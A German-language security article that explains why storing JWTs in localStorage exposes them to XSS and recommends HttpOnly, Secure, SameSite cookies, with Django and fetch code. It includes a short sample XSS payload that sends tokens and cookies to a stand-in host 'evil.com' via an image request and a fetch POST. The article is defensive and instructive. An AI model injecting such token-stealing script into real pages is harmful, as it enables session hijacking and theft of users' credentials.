Verzichten Sie auf die Verwendung von localStorage für Authentifizierungstoken: Ein tiefer Einblick in die Sicherheit
Warum das Speichern von JWTs in localStorage eine Sicherheitslücke darstellt, wie XSS-Angriffe diese ausnutzen und wie man Authentifizierungstoken in modernen Webanwendungen korrekt handhabt.
Das Problem, das alle ignorieren
Schau dir irgendein Next.js- oder React-Tutorial zur JWT-Authentifizierung an. In 90 % davon wird dir Folgendes gezeigt:
// DON'T DO THIS
const login = async (credentials) => {
const res = await fetch('/api/auth/login', { ... });
const { access_token } = await res.json();
localStorage.setItem('token', access_token); // <-- VULNERABLE
};Es handelt sich um eine Cross-Site-Scripting-Sicherheitslücke (XSS). Jedes auf Ihrer Seite ausgeführte JavaScript kann auf „localStorage“ zugreifen. Wenn ein Angreifer auch nur eine einzige Zeile JavaScript einschleust (über ein Skript eines Drittanbieters, einen npm-Supply-Chain-Angriff oder eine nicht maskierte Benutzereingabe), kann er die Authentifizierungstoken aller Benutzer stehlen.
Wie XSS „localStorage“-Token stiehlt
Ein Angreifer muss Ihren Server nicht hacken. Er muss lediglich JavaScript auf Ihrer Seite ausführen:
// Attacker's payload (injected via comment field, ad script, etc.)
new Image().src = 'https://evil.com/steal?token='
+ localStorage.getItem('token');
// Or they exfiltrate via fetch
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie,
url: window.location.href
})
});Häufige XSS-Angriffsvektoren: nicht entflohe „dangerouslySetInnerHTML“-Befehle, kompromittierte npm-Pakete, Analyseskripte oder Chat-Skripte von Drittanbietern sowie benutzergenerierte Inhalte, die als HTML dargestellt werden.
Der richtige Ansatz: HttpOnly-Cookies
Speichern Sie Tokens in HttpOnly-, Secure- und SameSite-Cookies. JavaScript kann HttpOnly-Cookies nicht auslesen – sie werden vom Browser automatisch mit jeder Anfrage gesendet.
# Django backend: set token as HttpOnly cookie
from django.http import JsonResponse
def login_view(request):
user = authenticate(request)
access_token = generate_jwt(user)
refresh_token = generate_refresh_token(user)
response = JsonResponse({'user': serialize(user)})
# HttpOnly: JavaScript can't read it (XSS safe)
# Secure: only sent over HTTPS
# SameSite=Lax: prevents CSRF on most requests
response.set_cookie(
'access_token', access_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # 15 minutes
path='/',
)
response.set_cookie(
'refresh_token', refresh_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=7 * 24 * 60 * 60, # 7 days
path='/api/auth/refresh/', # only sent to refresh endpoint
)
return responseFrontend: Keine Token-Verwaltung erforderlich
Bei HttpOnly-Cookies greift das Frontend überhaupt nicht auf die Tokens zu. Der Browser übernimmt die gesamte Abwicklung:
// Frontend: cookies are sent automatically
const getProfile = async () => {
const res = await fetch('/api/profile/', {
credentials: 'include', // include cookies
});
return res.json();
};
// No localStorage, no token parsing, no auth headers
// The browser sends the HttpOnly cookie automaticallyVergleich: localStorage vs. HttpOnly-Cookies
| Angriffsvektor | localStorage | HttpOnly-Cookie |
|---|---|---|
| XSS (Skript-Injektion) | Token gestohlen | Token-Sicherung (JS kann nicht lesen) |
| CSRF (Cross-Site-Request-Forgery) | Sicher (wird nicht automatisch versendet) | Geschützt durch SameSite=Lax |
| npm-Lieferkettenangriff | Token gestohlen | Token-Safe |
| Zugriff auf Browser-Erweiterungen | Token lesbar | Token ausgeblendet |
| Netzwerk-Sniffing | Wenn im Header gesendet: sichtbar | Sicherheitsflag: Nur HTTPS |
Was ist mit CSRF?
Das häufigste Argument für localStorage lautet: „Cookies sind anfällig für CSRF.“ Das traf vor zehn Jahren zu. Moderne Browser unterstützen „SameSite=Lax“, wodurch die Übermittlung von Cookies bei domänenübergreifenden Anfragen blockiert wird. In Kombination mit Djangos CSRF-Middleware für zustandsändernde Anfragen wird CSRF damit praktisch ausgeschlossen.
Verwenden Sie zur zusätzlichen Sicherheit das „Double-Submit“-Cookie-Muster: Der Server setzt ein CSRF-Token-Cookie, das nicht als „HttpOnly“ gekennzeichnet ist, das Frontend liest dieses Cookie aus und sendet es als Header, und der Server überprüft, ob beide übereinstimmen.
Fazit
Wenn Sie im Jahr 2026 eine Authentifizierung implementieren, sollten Sie HttpOnly-Cookies verwenden. Die Angriffsfläche für XSS-Angriffe bei localStorage ist zu groß, insbesondere bei modernen Apps, die Dutzende von Skripten von Drittanbietern laden. Die Sitzungen Ihrer Nutzer hängen davon ab.
Sicherheit ist keine Funktion, die man nachträglich hinzufügt. Die Entscheidung zwischen „localStorage“- und „HttpOnly“-Cookies macht den Unterschied zwischen „Wir wurden gehackt“ und „Der Angriff wurde abgewehrt“.
— OWASP-Spickzettel zur Authentifizierung
